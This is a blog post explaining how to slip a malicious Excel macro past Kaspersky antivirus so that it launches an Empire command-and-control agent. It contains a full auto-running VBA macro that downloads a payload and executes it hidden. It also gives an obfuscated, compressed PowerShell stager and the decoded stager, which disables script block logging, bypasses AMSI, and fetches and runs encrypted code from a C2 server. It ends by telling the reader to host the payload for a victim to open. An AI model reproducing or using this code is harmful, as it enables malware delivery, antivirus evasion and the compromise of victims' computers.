I always heard bypassing AVs was really easy, I wanted to see it for myself. The goal here was to get an execute an Empire agent through a malicious macro. AVs tend to dislike macros for good reasons so I figured it would give me a good overview of the difficulty.
Surprisingly, I couldn’t find a working example anywhere. There is obviously a lot of AV evasion techniques literature online or even tools who claim to bypass AVs, but somehow I couldn’t make them work to execute an Empire agent from a macro.
I won’t go too much into detail, I’ll just point out the main techniques I used and where I got them from. So here it is :
Private Sub Workbook_Open() Dim myURL As String myURL = "http://URL:PORT/PAYLOAD" Dim WinHttpReq As Object Set WinHttpReq = CreateObject("Microsoft.XMLHTTP") WinHttpReq.Open "GET", myURL, False WinHttpReq.send Dim payload payload = WinHttpReq.ResponseText If WinHttpReq.Status = 200 Then Const HIDDEN_WINDOW = 5 strComputer = "." Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") Set objStartup = objWMIService.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ objConfig.ShowWindow = HIDDEN_WINDOW Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process") errReturn = objProcess.Create(payload, Null, objConfig, intProcessID) End If End Sub
The previous code is pretty straight forward, it downloads a payload then executes it. The highlighted stub seem to bypass Kaspersky’s heuristics regarding code execution (unlike Shell command for example), Empire actually uses this method when you chose a macro stager.
Now let’s take a look at the payload :
(New-objEct io.stReamREadEr((New-objEct SystEm.io.cOmPrESsIoN.deFLAteStReam([System.io.mEmoRystreAM] [systEm.conVert]::FrOmbASE64StriNg('lVQNb+o2FP0rWee+BJUa6Mfb1CyaQmLANCRZEkpRmnUhuDTFjfsSU8pa/vtuoNueptdNExKOfe89Pj732PROQ354xcow99zInDkE19MgzEWBR+lQlMpxnymnjVfU93tGXLK7BJthyEZdvsF9JqONTzQ13FSSPUJBkS7YIyskNldSPKayhhnLnFdqAx9Aeo+y3xz7QFOzNLtn834pVk++4Hm2CZmUebGo1KbqqkeqKPzVDNaboQSUTG3otKfVHHZMLKP+xH0SXaXOmGjIXXH+Z4oVq2FW5k+yCzhcZEtHLBYArSb72g/DsUqKdMbZB2Gjrf+f8jpGi2eR7VT4CmWLnlNuxJZwOLEg5lYgpEsCmmGbZhEVrhls4ioqadFvhtMwIiPsdYckk0lycVGwtdbQAcLB5tzW/pVys11nmpBp/zPz2+x2BbszDi7J9NbxLNO5HZnWgLrkJhR3cp2W7GbXsJxVN6M8K0UFyzeTvJiLdQWhNXjpnnF+85GK6CrlW8Ir9hqHWUB94OJlywTsQaLaHnwO9qjyRZHKVck+9AMOofmmM2YaKsacNzWXrY+9WS2TYgnOYcy9AqQlIG2e4YEZDsBjcSgDWiySRmMbB6wHZq4qMprx6buZ2X+Y2Xys8ndDv/38im63b4fwD7uAtYkz19QUEmiRy16aczav2X+Luqypv/u2iaJyTBpbfavH4SaUbIRdEuGQBc80I77IXTlKXeASQPvJiw+m6bTblnAj6q5I7cpJZrhkcux1H0gWKe+WcZnEE9a1HEoKqaOVoY7E7znnaesctxXtvWOKGymfcUdXJt7k85muRGU+hyO3fsBtXSmfLzod3G4oPF8ypc+ypVB1tAYxmTknZbh34Lhi5bG5gCq1iVZgoLWF/dJ7mRr1cf6mMgvYlxWpIjiFzXrpikcTMvMDcT3dYfqBd73BVklsVkS56YSKofwFAHpYJbOJK2nKrfrtqFHIXbpypEvkRARLK4BKFyp5qKO9+S78UrxsAGeHX3/r6BJY7QWK2IvEpLA8G4wJcGZoUVp3sjuNSKWps671a6NH39KfvvMn9qfOi/x+bhw+XLa96V11dsXhTUKB8YrsJoAis1xUsK/Rxvjk/FzfD7U5hoaGhkcojNFtcoQuYThEl9jyxm6UNA5Pzj/r+1izHoZwP3ZDc7+41ZFdg1AAoUed9/wBzAY7SPoVBN0XDfYQg/2MJjq6PZ5dewHMtP3K0T6+q0y2sAU00FDvpXy6aLU6J9B6+HUufmxDs6WhtriAq9t6KkXGqgo/3T+pteXABKnNymr3uBxYQixzdtA8qCAHLooxv7wanNqkGg4nd60v7fHJ6nR5+uWX4Hp2ZhyAcrYZmQaaWNgWE9cR4CRTpkCQBUcogjh9NiBHmjEoeQqHsFOZGmgOSfEZxjCNUuyQoh8NEv34waNFbN2nZZwk2icFBcouQQHRrkDzRuONkus/AA==') ,[iO.comPrESSiON.CoMPReSSIonmode]::dEcOMPRESS ) ),[teXT.eNCodiNG]::aSCii) ).readTOENd() |.( $eNV:CoMSPEc[4,24,25]-JoIn'')
This payload can be obtained by following the technique described in this blog post. Basically, if you try to execute the base64 encoded payload that Empire generates, it will be killed by Kaspersky because it finds it to be suspicious.
The trick described in the blog post is to use Invoke-Obfuscation to compress the cleartext stager. To do this, first decode Empire’s payload, you should end up with something like this :
IF($PSVersIONTabLe.PSVERsiON.MAJor -gE 3){$GPF=[Ref].ASsembLY.GETTYPE('System.Management.Automation.Utils')."GeTFIe`lD"('cachedGroupPolicySettings','N'+'onPublic,Static');IF($GPF){$GPC=$GPF.GETVALuE($nuLl);IF($GPC['ScriptB'+'lockLogging']){$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$vaL=[CoLlECTIONs.GenerIc.DiCTIoNArY[StriNg,SYsTEM.ObjecT]]::nEW();$val.ADD('EnableScriptB'+'lockLogging',0);$val.Add('EnableScriptBlockInvocationLogging',0);$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$Val}ElSE{[ScrIPTBLoCk]."GeTFIE`Ld"('signatures','N'+'onPublic,Static').SETVALUe($NulL,(NeW-OBjECT CollectiOnS.GeNeric.HasHSeT[StRiNG]))}[ReF].AsSEMBlY.GETTYpe('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GetFiELD('amsiInitFailed','NonPublic,Static').SETValUE($nULl,$true)};};[SYStEm.NeT.SErVICePoInTMANAGEr]::ExpEcT100CoNTInUe=0;$wc=New-ObJect SYstEM.NeT.WEBCLiENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$Wc.HeAdeRS.ADd('User-Agent',$u);$Wc.Proxy=[SYStem.NEt.WeBReQuEST]::DEfAultWebPrOXy;$wC.PROxY.CrEDeNtIAls = [SYSTEm.Net.CrEDENtiALCaChE]::DeFaULTNETwOrkCREdeNtIALs;$Script:Proxy = $wc.Proxy;$K=[SYStEM.TeXt.ENcOdinG]::ASCII.GeTBYTeS('bBC^)FI|a<!PWD&1xt#d=%jK0OYfs4Vl');$R={$D,$K=$ARgS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COunT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXOr$S[($S[$I]+$S[$H])%256]}};$ser='http://127.0.0.1:8080';$t='/admin/get.php';$wc.HEADers.ADd("Cookie","session=SYj5Eu4biZeK7sPZ/6NftiXVNkk=");$DATa=$WC.DowNLOaDDAtA($sER+$T);$Iv=$Data[0..3];$Data=$dAta[4..$data.lEnGth];-JOIn[CHAr[]](& $R $DAtA ($IV+$K))|IEX
Then feed this decoded payload to Invoke-Obfuscation and COMPRESS/1
it. Executing Invoke-Obfuscation’s output shouldn’t trigger any warning from Kaspersky. If it does, you might wanna try compressing the payload a couple more times, you never know. If the AV doesn’t bother you, all you have left to do is host the payload and hope your victim will open your file.
Enjoy !
Be First to Comment